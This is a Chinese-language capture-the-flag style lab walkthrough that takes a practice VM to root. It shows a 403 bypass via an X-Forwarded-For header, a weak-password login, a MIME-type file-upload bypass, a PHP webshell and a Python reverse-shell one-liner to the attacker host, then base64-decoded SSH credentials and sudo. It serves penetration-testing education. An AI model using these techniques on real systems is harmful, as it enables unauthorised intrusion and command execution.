需要取得root权限，建议用vmbox虚拟主机运行。
涉及的攻击技术点：
· WEB信息收集
· 指纹探测
· 403Bypass （经常使用）
· 文件上传（经常使用）
| 靶机IP地址 | Kali 主机IP地址 |
| 192.168.0.41/24 | 192.168.0.208/24 |
主机发现
└─# arp-scan -l
发现了目标靶机的IP地址是192.168.0.41
端口扫描
─# nmap -p- 192.168.0.41
只发现了22和80端口
服务版本发现
└─# nmap -p 22,80 -sV -sC 192.168.0.41
web服务背后是apache2.4.10应用，以及http头部信息；
ssh 是 openssh 6.6.1以及使用的加密算法；
目标靶机的操作系统是ubuntu系统。
按照扫描出来的结果，先访问目标靶机的80端口，根据提示虽然他的网站正在建设，但是其web服务还是运行的。
接下来就要对其进行web界面信息收集，先进行手动的路径查看
查看/robots路径.http://192.168.0.41/robots.txt
查看admin和login路径均无效
常见的路径没有发现可利用的线索。
crtl+u查看首页面的源码文件内容
源码实在太简单了，没有发现注释，提交数据注入点，api接口等有价值的信息
网站指纹爬取工具-whatweb
参考资料：https://zhuanlan.zhihu.com/p/396345123
kali默认集成了。
# whatweb http://192.168.0.41
如图所示：目标靶机的网站使用了bootsrap,php5.5.9开发语言环境后，库文件是JQuery
bootstrap
参考资料：https://www.bootcss.com/
通过这个工具能做出很漂亮的前端页面
针对扫描出网站应用的结果，通常会对应用版本进行漏洞挖掘或者隐藏web路径的爬取。
我选用了 dirsearch 路径爬取工具
└─# dirsearch -u http://192.168.0.41
在爬取路径的结果中，出现了大量的403状态码（服务端拒绝）
在图中这些403后面的路径其实大概率是存在服务端的，只不过目前的客户端是没有权限访问罢了。
而出现的HTTP状态码302则代表了重定向
通过爬取到的301状态码情况，这个路径一定是存在在目标靶机中
http://192.168.0.41/adminstration/
如图所示：显示权限被禁止的。
为了核实服务端是否对这个路径设置了访问权限
在火狐浏览器中用F12网页开发者工具，找到Network，然后刷新该路径http://192.168.0.41/adminstration/
能够看到服务端返回的状态的确是403状态
在该页面往下拉，通过HTTP响应头部也能确定目标靶机的web应用版本，开发语言的信息和操作系统。
根据以上采集到的信息，可以判断出在这个URL地址实实在在存在在目标靶机之中，由于权限限制无法访问，这是在真实的渗透工作中很常见，因为web管理员都会在一些关键的文件中设置相应的安全权限，来保证网站的安全。
而作为渗透者遇到403这样的情况，通常403Bypass手段（绕过403拒绝访问权限的渗透手段）。
打开burp suite的默认集成浏览器，复制http://192.168.0.41/adminstration/路径内容
在其所集成的浏览器中，已经设置好了代理功能，不用我们在浏览器上设置代理功能，非常方便！
因为默认拦截是开启的，输入路径后点击转发
点击转发后，所在的浏览器会正常访问
在proxy下的http history中查看访问请求，将访问请求所有的内容发送到repeater
在repeater中尝试重放。
默认情况下发送结果是服务端返回403
403 Bypass 常用手段
· 旁站
· 覆盖URL
旁站
这是默认的请求和返回访问图
介入旁站思路，绕过服务器403拒绝权限，在主机名中添加其他主机域名
因为web管理员有时候对于权限管控来说，有部分存在只针对host头部来做限制的场景，列如图中，只对www.403.com 的www做了访问拒绝限制，那么oa.403.com email.403.com 等等其他主机头，服务端是否会正常的返回200 ok的HTTP状态码？
覆盖URL
在很多网站中，针对访问权限只是对GET请求中某个路径做了访问权限，而/根路径是不会去做访问限制的，添加绕过头部X-original-URL路径，还可以添加X-Rewrite-URL或者ReFerer：htts://???/auth/login，从而达到绕过403限制的访问。修改头部信息（ReFerer头部是用来验证源的）让web服务端认为客户端是从合法路径过来的，直接访问/路径，
HTTP x头部是非标准的HTTP协议头部，主要作用就是代理
在真实的web服务拓扑中，一般都部署在DMZ区域或者容器中，客户端是无法直接接触的(CDN节点等）
分享完了403Bypass 的实现方法之后，我这里用覆盖URL方法，来做实操。
经过多次探测，发现使用X-Forwarded-For头部有效。
让服务器认为自身请求自己，而非客户端的请求。
X-Forwarded-For:127.0.0.1
如图所示：在我插入了x-forwarded-for这个头部后，服务端HTTP状态码返回了200 OK
在render下，能看到其图形化的显示，为一个表单的样式，用户名和密码
将这段有效的请求头部信息，插入到inercept下
然后点击forward
如图所示：页面则显示了不是403拒绝，我这里可以输入用户名和表单
在尝试了弱口令，每次输入后，都需要添加x-forward这个字段
注意：这里要提交3次或者多次，用户和密码和登录三次按钮，要提交三次Forwarded-For:127.0.0.1，如果不这样就会直接回显403拒绝的。
用户名 admin
密码 admin
一直要填到intercept空白位置，浏览器则进入到了后台页面，说明目标靶机存在了弱口令的漏洞。
继续利用X-Forwarded-For:127.0.0.1跳过403方法，再来查看其他的功能
点击users
插入两次，按两次转发，得来的显示，经过翻译，用户模块没什么线索。
接下来往下看，有一个upload file 竟然是一个上传文件模块
继续加入X-Forwarded-For:127.0.0.1 来看看里面的内容
还是需要提交两次X-f头部信息，直到intercept处为空白，看到浏览器返回正确的界面
对于上传漏洞来说不是很新鲜的事情，在很多开发人员对于是否开启上传这个功能是很谨慎的，即使开启了同时也会开启安全机制，通常文件上传过滤机制有如下：
· 文件扩展名
· 文件类型 （不是真实的文件类型，是MIM文件类型）
· 添加图片头部的真实信息
· PHP一句话的webshell语句
你可以通过修改文件扩展名和文件类型来避开这些过滤机制
还有加入真实的图片，都可以绕开过滤机制
在了解完如何绕过文件上传的安全机制后，我为了测试目标靶机是否存在上传文件漏洞，我先只写一个shell1.php文件（采用php一句话的形式）
在提交文件内容的shell 文件容如下
点击转发，但是页面没有发生变化
查看proxy 下的http history，服务端已经返回了文件不允许的提示，说明目标靶机存在文件上传过滤机制。
既然目标靶机有文件上传的过滤机制，那么还是利用repter的重放功能来进行接下来的绕过操作，先将请求内容发送到rpeater
先修改请求内容的MIM文件类型，点击send发送
从结果上来看，文件上传成功，文件放置在了这个路径下并且重命名，将这个路径复制files/1640242772shell1.php
将这个路径复制到burp suite的浏览器中，还是需要提交一次x-for头部信息
显示为空页面，基本上就确定了webshell文件上传成功了。
URL路径输入：http://192.168.0.41/adminstration/upload/files/1640242772shell1.php?cmd=ls
依旧要添加x-f头部信息
结果显示出了ls被执行
执行id命令显示为www身份
查看目标靶机中是否存在Python语言环境，如果有可以用shell反弹了。
http://192.168.0.41/adminstration/upload/files/1640242772shell1.php?cmd=which python
如图所示，证明目标靶机中存在了Python语言环境
复制这段python代码
python -c
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.208",3028));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
关于这段代码的介绍，搜索的我公众号文章-Docker容器里社交网站的侵入
开启kali主机本身的3028端口
在?cmd=后面插入该代码，这次不需要提交x-f信息头部
成功反弹了一个shell
升级更友好的shell脚本控制，
输入：$ python -c "import pty; pty.spawn('/bin/bash')"
在获取了一个普通的用户后，我第一时间就扑向了/etc/passwd这个文件，查看到了有一个yousef的用户有登录系统的权限
切换到该用户目录下，发现有一个user.txt的文件
查看该文件后得出一个编码内容，看起来就是第一个falge了，可是仔细看就发现并不是，因为这段编码以=号结尾了，这明显是一个Base64编码内容。
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
我报着试试去解码BASE64编码，他是一个明文编码很容易被解码出来
ssh :
user : yousef
pass : yousef123
结合之前扫描出的22端口和查看出有yousef用户，我直接用ssh连接，连接成功。
user : yousef
pass : yousef123
直接查看其用户的sudo权限
结果显示拥有全部的sudo权限，毕竟难度为容易。
既然都这样，那就直接切换成root用户。
找到root用户家目录，找到一个flage文件
WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx
抱着尝试去解码base64
到此为止，打靶完成
